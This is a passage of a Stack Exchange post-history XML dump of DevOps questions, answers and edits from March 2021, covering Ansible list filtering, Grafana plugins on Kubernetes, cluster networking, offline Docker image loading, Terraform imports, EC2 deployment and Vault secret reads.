ansible_default_ipv4.address }}&quot;&#xD;&#xA;      - &quot;{{ ansible_default_ipv6.address }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This also doesn't work, as it will end-up adding a line `ListenAddress ` with no argument, that breaks the sshd server (this may be a shortsighted design of my ansible role, but that's out-of-scope in this question).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    ssh_listen_to:&#xD;&#xA;      - &quot;{{ ansible_default_ipv4.address | default('') }}&quot;&#xD;&#xA;      - &quot;{{ ansible_default_ipv6.address | default('') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How can I update the above yaml block such that it will skip adding the values to the array if the value isn't defined? Note that this is being done in my playbook's `vars:` section, so no tasks-based solutions please." ContentLicense="CC BY-SA 4.0" />
  <row Id="41715" PostHistoryTypeId="1" PostId="13564" RevisionGUID="f678677d-c445-49ea-9bf5-82d38a327dd3" CreationDate="2021-03-17T11:23:24.183" UserId="22501" Text="Add item(s) to yaml array only if defined (ansible)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41716" PostHistoryTypeId="3" PostId="13564" RevisionGUID="f678677d-c445-49ea-9bf5-82d38a327dd3" CreationDate="2021-03-17T11:23:24.183" UserId="22501" Text="&lt;ansible&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41717" PostHistoryTypeId="50" PostId="13295" RevisionGUID="0a88ddbc-f08c-4f5d-b149-ae10e73a6e35" CreationDate="2021-03-17T12:03:40.383" UserId="-1" />
  <row Id="41718" PostHistoryTypeId="2" PostId="13565" RevisionGUID="75b95134-8020-4922-8986-5452d3e91c5a" CreationDate="2021-03-17T12:12:31.983" UserId="17246" Text="I had created a custom docker image with zabbix plugin integrated to grafana. &#xD;&#xA;&#xD;&#xA;When I run `docker run -p 3000:3000 myregistry:5000/grafana-zabbix`, Grafana UI shows `Zabbix` plugin and I can enable and use it as a data-source.&#xD;&#xA;&#xD;&#xA;I updated my manifest as below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        volumeMounts:&#xD;&#xA;          - mountPath: /var/lib/grafana&#xD;&#xA;            name: grafana-storage&#xD;&#xA;          - mountPath: /var/lib/grafana-plugins&#xD;&#xA;            name: grafana-plugins&#xD;&#xA;          - mountPath: /etc/grafana/provisioning/datasources&#xD;&#xA;            name: grafana-datasources&#xD;&#xA;            readOnly: false&#xD;&#xA;      volumes:&#xD;&#xA;        - name: grafana-storage&#xD;&#xA;          emptyDir: {}&#xD;&#xA;        - name: grafana-plugins&#xD;&#xA;          emptyDir: {}&#xD;&#xA;        - name: grafana-datasources&#xD;&#xA;          configMap:&#xD;&#xA;              defaultMode: 420&#xD;&#xA;              name: grafana-datasources&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;in `/etc/grafana/grafana.ini` of running kubernetes container &lt;br&gt;&#xD;&#xA;`allow_loading_unsigned_plugins = true`&#xD;&#xA;&#xD;&#xA;What am I missing here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41719" PostHistoryTypeId="1" PostId="13565" RevisionGUID="75b95134-8020-4922-8986-5452d3e91c5a" CreationDate="2021-03-17T12:12:31.983" UserId="17246" Text="Grafana zabbix plugin is not shown in kubernetes service" ContentLicense="CC BY-SA 4.0" />
  <row Id="41720" PostHistoryTypeId="3" PostId="13565" RevisionGUID="75b95134-8020-4922-8986-5452d3e91c5a" CreationDate="2021-03-17T12:12:31.983" UserId="17246" Text="&lt;kubernetes&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41721" PostHistoryTypeId="2" PostId="13566" RevisionGUID="cc33119d-a5ba-4ea5-817c-dc969521f7b6" CreationDate="2021-03-17T12:13:10.297" UserId="26653" Text="I have the following setup:&#xD;&#xA;&#xD;&#xA;master and worker node are connected via `eth0` to the internet and via `enp7s0` to a local newtork (IP's 10.0.0.2 and 10.0.0.3).  &#xD;&#xA;I have installed K8S with flannel as networking layer.&#xD;&#xA;&#xD;&#xA;Question: 1) How can I know that all communication between the nodes is going through the local network and not through the internet? 1b) When an Ingress is queried from the internet via the IP of the master node - is the traffic also routed through the local network, back to the client through the master node? 2) How do make sure - if not already - that everything stays in the local net?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;master node:&#xD;&#xA;```&lt;!-- begin snippet: js hide: true --&gt;&#xD;&#xA;root@master-0:~# ip addr&#xD;&#xA;2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 96:00:00:9f:3f:4b brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet &lt;EXTERNAL_IP&gt;/32 brd &lt;EXTERNAL_IP&gt; scope global dynamic eth0&#xD;&#xA;       valid_lft 62620sec preferred_lft 62620sec&#xD;&#xA;    inet &lt;EXTERNAL_IP_2&gt;/32 scope global eth0:1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 &lt;EXTERNAL_IP&gt;/64 scope global &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 &lt;EXTERNAL_IP&gt;/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp7s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 86:00:00:9f:3f:53 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.0.2/32 brd 10.0.0.2 scope global dynamic enp7s0&#xD;&#xA;       valid_lft 48369sec preferred_lft 48369sec&#xD;&#xA;    inet6 fe80::8400:ff:fe9f:3f53/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether e6:60:af:a3:b8:e7 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.0/32 brd 10.244.0.0 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::e460:afff:fea3:b8e7/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether 26:16:13:26:e6:71 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.1/24 brd 10.244.0.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::2416:13ff:fe26:e671/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;[...]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;worker node:&#xD;&#xA;```&#xD;&#xA;root@worker-0:~# ip addr&#xD;&#xA;2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet &lt;EXTERNAL_IP&gt;/32 brd &lt;EXTERNAL_IP&gt; scope global dynamic eth0&#xD;&#xA;       valid_lft 50209sec preferred_lft 50209sec&#xD;&#xA;    inet6 &lt;EXTERNAL_IP&gt;/64 scope global &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 &lt;EXTERNAL_IP&gt;/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp7s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 86:00:00:9f:53:ed brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.0.3/32 brd 10.0.0.3 scope global dynamic enp7s0&#xD;&#xA;       valid_lft 76309sec preferred_lft 76309sec&#xD;&#xA;    inet6 fe80::8400:ff:fe9f:53ed/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether 6e:57:f1:9a:8b:30 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.0/32 brd 10.244.1.0 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::6c57:f1ff:fe9a:8b30/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether c6:fa:16:f2:e7:67 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.1/24 brd 10.244.1.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::c4fa:16ff:fef2:e767/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;[...]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41722" PostHistoryTypeId="1" PostId="13566" RevisionGUID="cc33119d-a5ba-4ea5-817c-dc969521f7b6" CreationDate="2021-03-17T12:13:10.297" UserId="26653" Text="How to make sure K8S nodes only communicate via private network" ContentLicense="CC BY-SA 4.0" />
  <row Id="41723" PostHistoryTypeId="3" PostId="13566" RevisionGUID="cc33119d-a5ba-4ea5-817c-dc969521f7b6" CreationDate="2021-03-17T12:13:10.297" UserId="26653" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41724" PostHistoryTypeId="5" PostId="2772" RevisionGUID="85c36fa3-a2c1-4c4e-94a9-37fe2c289ae7" CreationDate="2021-03-17T13:51:01.263" UserId="210" Comment="deleted 2 characters in body" Text="It turned out that the [Moby Project](https://mobyproject.org/) has a shell script on the [Moby Github](https://github.com/moby/moby/) which can download images from [Docker Hub](https://hub.docker.com/) in a format that can be imported into Docker:&#xD;&#xA;&#xD;&#xA;- [download-frozen-image-v2.sh](https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh)&#xD;&#xA;&#xD;&#xA;The usage syntax for the script is given by the following:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    download-frozen-image-v2.sh target_dir image[:tag][@digest] ...&#xD;&#xA;&#xD;&#xA;The image can then be imported with `tar` and `docker load`:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    tar -cC 'target_dir' . | docker load&#xD;&#xA;&#xD;&#xA;To verify that the script works as expected, I downloaded an Ubuntu image from Docker Hub and loaded it into Docker:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ bash download-frozen-image-v2.sh ubuntu ubuntu:latest&#xD;&#xA;    user@host:~$ tar -cC 'ubuntu' . | docker load&#xD;&#xA;    user@host:~$ docker run --rm -ti ubuntu bash&#xD;&#xA;    root@1dd5e62113b9:/#&#xD;&#xA;&#xD;&#xA;In practice I would have to first copy the data from the internet client (which does *not* have Docker installed) to the target/destination machine (which *does* have Docker installed):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@nodocker:~$ bash download-frozen-image-v2.sh ubuntu ubuntu:latest&#xD;&#xA;    user@nodocker:~$ tar -C 'ubuntu' -cf 'ubuntu.tar' .&#xD;&#xA;    user@nodocker:~$ scp ubuntu.tar user@hasdocker:~&#xD;&#xA;&#xD;&#xA;and then load and use the image on the target host:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@hasdocker:~ docker load ubuntu.tar&#xD;&#xA;    user@hasdocker:~ docker run --rm -ti ubuntu bash&#xD;&#xA;    root@1dd5e62113b9:/#" ContentLicense="CC BY-SA 4.0" />
  <row Id="41727" PostHistoryTypeId="5" PostId="13562" RevisionGUID="d9ccd63b-c467-43fd-a7da-580f8ff26085" CreationDate="2021-03-17T15:15:38.163" UserId="13139" Comment="Improved formatting and spelling" Text="I am using `kubectl` for Kubernetes based deployments.&#xD;&#xA; &#xD;&#xA;I created a deployment that gone to `crashloopbackoff` state. Then for correcting this issue, a rolling update was done. But the deployment failed due to OOM. Then if I do a rollout undo, I am seeing current and previous replica sets with the respective pods in the *failed* state. I only need the previous replica sets with running pods.&#xD;&#xA;&#xD;&#xA;Any points what might have gone wrong. Thank you so much." ContentLicense="CC BY-SA 4.0" />
  <row Id="41728" PostHistoryTypeId="24" PostId="13562" RevisionGUID="d9ccd63b-c467-43fd-a7da-580f8ff26085" CreationDate="2021-03-17T15:15:38.163" Comment="Proposed by 13139 approved by 40 edit id of 1352" ContentLicense="CC BY-SA 4.0" />
  <row Id="41729" PostHistoryTypeId="50" PostId="13308" RevisionGUID="e9f162ca-4768-4aea-9fe0-960888a556f1" CreationDate="2021-03-17T16:04:10.393" UserId="-1" />
  <row Id="41730" PostHistoryTypeId="2" PostId="13568" RevisionGUID="9b7806ff-7b01-4871-9cc4-743e19fa0772" CreationDate="2021-03-17T16:20:59.863" UserId="7715" Text="Create the list in Jinja2 and convert it, e.g.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  gather_facts: true&#xD;&#xA;  tasks:&#xD;&#xA;    - set_fact:&#xD;&#xA;         ssh_listen_to: &quot;{{ _ssh_listen_to|from_yaml }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        _ssh_listen_to: |&#xD;&#xA;          {% if ansible_default_ipv4.address is defined %}&#xD;&#xA;          - {{ ansible_default_ipv4.address }}&#xD;&#xA;          {% endif %}&#xD;&#xA;          {% if ansible_default_ipv6.address is defined %}&#xD;&#xA;          - {{ ansible_default_ipv6.address }}&#xD;&#xA;          {% endif %}&#xD;&#xA;    - debug:&#xD;&#xA;        var: ssh_listen_to|type_debug&#xD;&#xA;    - debug:&#xD;&#xA;        var: ssh_listen_to&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;TASK [debug] ********************************************************************&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  ssh_listen_to|type_debug: list&#xD;&#xA;&#xD;&#xA;TASK [debug] ********************************************************************&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  ssh_listen_to:&#xD;&#xA;  - 10.1.0.27&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41731" PostHistoryTypeId="5" PostId="11358" RevisionGUID="6c341ee4-1205-437b-aeb5-ac3ce82ba508" CreationDate="2021-03-17T16:38:38.860" UserId="-1" Comment="Fixed grammar" Text="Terraform v0.11.11&#xD;&#xA;&#xD;&#xA;We have a quite big AWS setup created with Terraform. Different regions are applied separately, and that is why we have most of the things in modules which are imported like this:&#xD;&#xA;&#xD;&#xA;    module &quot;assets&quot; {&#xD;&#xA;      source       = &quot;../modules/aws-assets&quot;&#xD;&#xA;      environment  = &quot;${var.environment}&quot;&#xD;&#xA;      upload_users = &quot;${var.upload_users}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We have one s3 bucket created manually, and I try to import it. Terraform import command does not find the configuration file and errors.&#xD;&#xA;&#xD;&#xA;    Error: resource address &quot;aws_s3_bucket.machine-learning&quot; does not exist in the configuration.&#xD;&#xA;&#xD;&#xA;Before importing this resource, please create its configuration in the root module. For example:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;machine-learning&quot; {&#xD;&#xA;      # (resource arguments)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;terraform apply/plan do find the configuration and wants to create it which is not what we want?&#xD;&#xA;&#xD;&#xA;Thanks for you help!&#xD;&#xA;&#xD;&#xA;================================&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;now moved configuration to root and ended up with different error...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41732" PostHistoryTypeId="24" PostId="11358" RevisionGUID="6c341ee4-1205-437b-aeb5-ac3ce82ba508" CreationDate="2021-03-17T16:38:38.860" Comment="Proposed by 50.125.80.155|e2e7b3c1-b19e-4066-846a-77590c6b0d74 approved by 40 edit id of 1353" ContentLicense="CC BY-SA 4.0" />
  <row Id="41733" PostHistoryTypeId="2" PostId="13569" RevisionGUID="06d97398-796a-4539-af36-f193069bfa00" CreationDate="2021-03-17T16:52:28.117" UserId="22501" Text="This doesn't answer the question directly, but I found that I could query the entire ansible facts dictionary as a json document using the [`json_query` filter][1] and a [jmespath expression][2].&#xD;&#xA;&#xD;&#xA;For example, the following produces a list of all the ip addresses.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | json_query('*.address') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#selecting-json-data-json-queries&#xD;&#xA;  [2]: https://jmespath.org/tutorial.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="41734" PostHistoryTypeId="5" PostId="13568" RevisionGUID="84f3f4c9-2e0f-4301-ac85-5ca1c894aef5" CreationDate="2021-03-17T16:56:12.827" UserId="7715" Comment="added 407 characters in body" Text="Create the list in Jinja2 and convert it, e.g.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  gather_facts: true&#xD;&#xA;  tasks:&#xD;&#xA;    - set_fact:&#xD;&#xA;         ssh_listen_to: &quot;{{ _ssh_listen_to|from_yaml }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        _ssh_listen_to: |&#xD;&#xA;          {% if ansible_default_ipv4.address is defined %}&#xD;&#xA;          - {{ ansible_default_ipv4.address }}&#xD;&#xA;          {% endif %}&#xD;&#xA;          {% if ansible_default_ipv6.address is defined %}&#xD;&#xA;          - {{ ansible_default_ipv6.address }}&#xD;&#xA;          {% endif %}&#xD;&#xA;    - debug:&#xD;&#xA;        var: ssh_listen_to|type_debug&#xD;&#xA;    - debug:&#xD;&#xA;        var: ssh_listen_to&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;TASK [debug] ********************************************************************&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  ssh_listen_to|type_debug: list&#xD;&#xA;&#xD;&#xA;TASK [debug] ********************************************************************&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  ssh_listen_to:&#xD;&#xA;  - 10.1.0.27&#xD;&#xA;```&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;If you put the name of the variables into the list, e.g.&#xD;&#xA;```yaml&#xD;&#xA;    vars_addr:&#xD;&#xA;      - default_ipv4&#xD;&#xA;      - default_ipv6&#xD;&#xA;```&#xD;&#xA;the task below gives the same result&#xD;&#xA;```yaml&#xD;&#xA;    - set_fact:&#xD;&#xA;         ssh_listen_to: &quot;{{ vars_addr|&#xD;&#xA;                            map('extract', ansible_facts, 'address')|&#xD;&#xA;                            select('defined')|&#xD;&#xA;                            list  }}&quot;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41735" PostHistoryTypeId="2" PostId="13570" RevisionGUID="4b760f43-c6a4-4c52-8395-6e5055734066" CreationDate="2021-03-17T18:09:08.347" UserId="26659" Text="I have faced similar error for my gitlab runner deployment on GKE cluster. As you can see from the error , something is wrong with our pods. Why shouldn't we go and check the pod status.&#xD;&#xA;&#xD;&#xA;Kubectl describe pods -n namespace &#xD;&#xA;&#xD;&#xA;you will get a fair idea about what's the real issue behind the error “Does not have minimum availability” &#xD;&#xA;&#xD;&#xA;In my case the node was unable to pull the image for my deployment from google container registry (Gcr). I checked the permission for service account used for k8s-cluster to pull the images from Gcr. I provided the correct roles and then it worked. (role: storage object viewer)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41736" PostHistoryTypeId="2" PostId="13571" RevisionGUID="2293044e-7c62-4942-b5f8-b3050688c28c" CreationDate="2021-03-17T19:11:59.163" UserId="17718" Text="I am using docker on Windows to build a my C++ app on a Windows image (CI/CD ove Jenkins) and I am having a hard time trying to figure out why my docker builds only use such a small portion of my machines resources. &#xD;&#xA;&#xD;&#xA;This image is supposed to build a large C++ application, but it's CPU usage never goes up more than 16%. (Building the same application on the host machine uses 100% for about an hour)&#xD;&#xA;&#xD;&#xA;I tried `--cpu-shares 10000` and `--memory 16000000000` options, but the first one seems to have no effect. Basically what I am trying to achieve is to remove all limitations on resources for my docker builds. It should be able to take all the available RAM, the entire disc space and all of the available CPU time.&#xD;&#xA;&#xD;&#xA;[![usage][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2XocE.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41737" PostHistoryTypeId="1" PostId="13571" RevisionGUID="2293044e-7c62-4942-b5f8-b3050688c28c" CreationDate="2021-03-17T19:11:59.163" UserId="17718" Text="How to increase resource usage on Docker Windows?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41738" PostHistoryTypeId="3" PostId="13571" RevisionGUID="2293044e-7c62-4942-b5f8-b3050688c28c" CreationDate="2021-03-17T19:11:59.163" UserId="17718" Text="&lt;docker&gt;&lt;windows&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41739" PostHistoryTypeId="2" PostId="13572" RevisionGUID="8d6a76ed-6ba0-43aa-a186-a0956b26bd50" CreationDate="2021-03-17T19:56:20.757" UserId="26597" Text="Use `select()` with the `defined` test.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ [ansible_facts.default_ipv4.address, ansible_facts.default_ipv6.address] | select('defined') | list }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41740" PostHistoryTypeId="5" PostId="13572" RevisionGUID="216e9836-587d-40a3-860d-51ad6484f1a1" CreationDate="2021-03-17T20:18:11.947" UserId="26597" Comment="Added second example based on the question linked in the comments." Text="Use `select()` with the `defined` test.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ [ansible_facts.default_ipv4.address, ansible_facts.default_ipv6.address] | select('defined') | list }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As for the linked post about matching dictionary keys in JMESPath, I wouldn't use JMESPath at all for that in Ansible. As I've grown more accustomed to Jinja I've found `json_query()` less and less necessary.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | select('match', '.+_ipv[46]') | map('extract', ansible_facts, 'address') | select('defined') | list }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41741" PostHistoryTypeId="2" PostId="13573" RevisionGUID="f09bbf89-655d-472d-b9ed-e559d7a30db7" CreationDate="2021-03-18T06:08:09.657" UserId="26635" Text="&#xD;&#xA;I've just started learning terraform (utilizing the aws provider) and I have managed to replicate our infrastructure which includes quite a few amazon web services. &#xD;&#xA;&#xD;&#xA;I can successfully deploy it and get a basic apache website up and running on an ec2 instance with the following bash script (run from terraform)&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    sudo apt update -y&#xD;&#xA;    sudo apt install apache2 -y&#xD;&#xA;    sudo systemctl start apache2&#xD;&#xA;    sudo bash -c 'echo frontend-website &gt; /var/www/html/index.html'&#xD;&#xA;&#xD;&#xA;Very basic but what I'm having issues with is finding some documentation on the best practices for getting our project code onto the aws ec2 instance once provisioned, and how everything should be setup for Gitlabs CI/CD to keep it all automated. &#xD;&#xA;&#xD;&#xA;Especially for a bigger project (eg, separate frontend and backend instances) where you may have a dev, test, and prod environment for the frontend and backend.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41742" PostHistoryTypeId="1" PostId="13573" RevisionGUID="f09bbf89-655d-472d-b9ed-e559d7a30db7" CreationDate="2021-03-18T06:08:09.657" UserId="26635" Text="How to get code onto aws ec2 instance using terraform and gitlabs" ContentLicense="CC BY-SA 4.0" />
  <row Id="41743" PostHistoryTypeId="3" PostId="13573" RevisionGUID="f09bbf89-655d-472d-b9ed-e559d7a30db7" CreationDate="2021-03-18T06:08:09.657" UserId="26635" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;gitlab&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41744" PostHistoryTypeId="5" PostId="13569" RevisionGUID="1d46ba7a-a111-44a9-9203-8855b04b656f" CreationDate="2021-03-18T09:21:48.097" UserId="22501" Comment="better sanity checks" Text="This doesn't answer the question directly, but I found that I could query the entire ansible facts dictionary as a json document using the [`json_query` filter][1] and a [jmespath expression][2].&#xD;&#xA;&#xD;&#xA;For example, the following produces a list of all the ip addresses.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | json_query('*.address') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can make this safer by just taking the default ipv4 &amp; ipv6 addresses like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | json_query('[@.default_ipv4, @.default_ipv6][].address') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And you can even further check the sanity of the options by [removing anything from the list that's not an IP address][3]&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | json_query('[@.default_ipv4, @.default_ipv6][].address') | ansible.netcommon.ipaddr }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#selecting-json-data-json-queries&#xD;&#xA;  [2]: https://jmespath.org/tutorial.html&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters_ipaddr.html#filtering-lists" ContentLicense="CC BY-SA 4.0" />
  <row Id="41745" PostHistoryTypeId="2" PostId="13574" RevisionGUID="cbb895c7-230c-464c-a9a9-bbcb5823e4a2" CreationDate="2021-03-18T12:44:56.793" UserId="26666" Text="Do your instance groups have labels identifying the groups they belong to? If so, you can filter to them using the `-l`/`--selector` option, like so:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;kubectl top nodes --selector instance-group=group-1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This assumes that the label name is `instance-group` and the label value for the group you want to query is `group-1`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41746" PostHistoryTypeId="5" PostId="13573" RevisionGUID="99addcae-e767-4691-a990-27fb8083e489" CreationDate="2021-03-18T13:31:22.587" UserId="13139" Comment="Improve spelling" Text="&#xD;&#xA;I've just started learning Terraform (utilizing the AWS provider) and I have managed to replicate our infrastructure which includes quite a few amazon web services. &#xD;&#xA;&#xD;&#xA;I can successfully deploy it and get a basic Apache website up and running on an EC2 instance with the following bash script (run from Terraform):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    sudo apt update -y&#xD;&#xA;    sudo apt install apache2 -y&#xD;&#xA;    sudo systemctl start apache2&#xD;&#xA;    sudo bash -c 'echo frontend-website &gt; /var/www/html/index.html'&#xD;&#xA;&#xD;&#xA;Very basic, but I'm having issues in finding some documentation on the best practices for getting our project code onto the AWS EC2 instance once provisioned, and how everything should be setup for Gitlab CI/CD to keep it all automated. &#xD;&#xA;&#xD;&#xA;Especially for a bigger project (e.g., separate frontend and backend instances) where you may have a dev, test, and prod environment for the frontend and backend.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41747" PostHistoryTypeId="24" PostId="13573" RevisionGUID="99addcae-e767-4691-a990-27fb8083e489" CreationDate="2021-03-18T13:31:22.587" Comment="Proposed by 13139 approved by 354, 26635 edit id of 1356" ContentLicense="CC BY-SA 4.0" />
  <row Id="41748" PostHistoryTypeId="5" PostId="4505" RevisionGUID="c335935a-bf9e-4e53-bc4a-ea323dada668" CreationDate="2021-03-18T13:44:25.500" UserId="-1" Comment="put the field flag before the path, to fix error &quot;Too many arguments (expected 1, got 3)&quot;" Text="The [vault docs](https://www.vaultproject.io/docs/commands/read.html) mention a `-field` parameter for the `read` subcommand.  So you should be able to put this into a shell script:&#xD;&#xA;&#xD;&#xA;    SECRET=$(vault read -field foo secret/mysecret)&#xD;&#xA;&#xD;&#xA;[Other vault docs](https://www.vaultproject.io/intro/getting-started/first-secret.html) use the `vault kv get` in the same way so you might try:&#xD;&#xA;&#xD;&#xA;    SECRET=$(vault kv get -field foo secret/mysecret)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41749" PostHistoryTypeId="24" PostId="4505" RevisionGUID="c335935a-bf9e-4e53-bc4a-ea323dada668" CreationDate="2021-03-18T13:44:25.500" Comment="Proposed by 82.25.24.40|8f8aef14-b061-468f-9d69-24d7a94d12d9 approved by 354, 739 edit id of 1355" ContentLicense="CC BY-SA 4.0" />
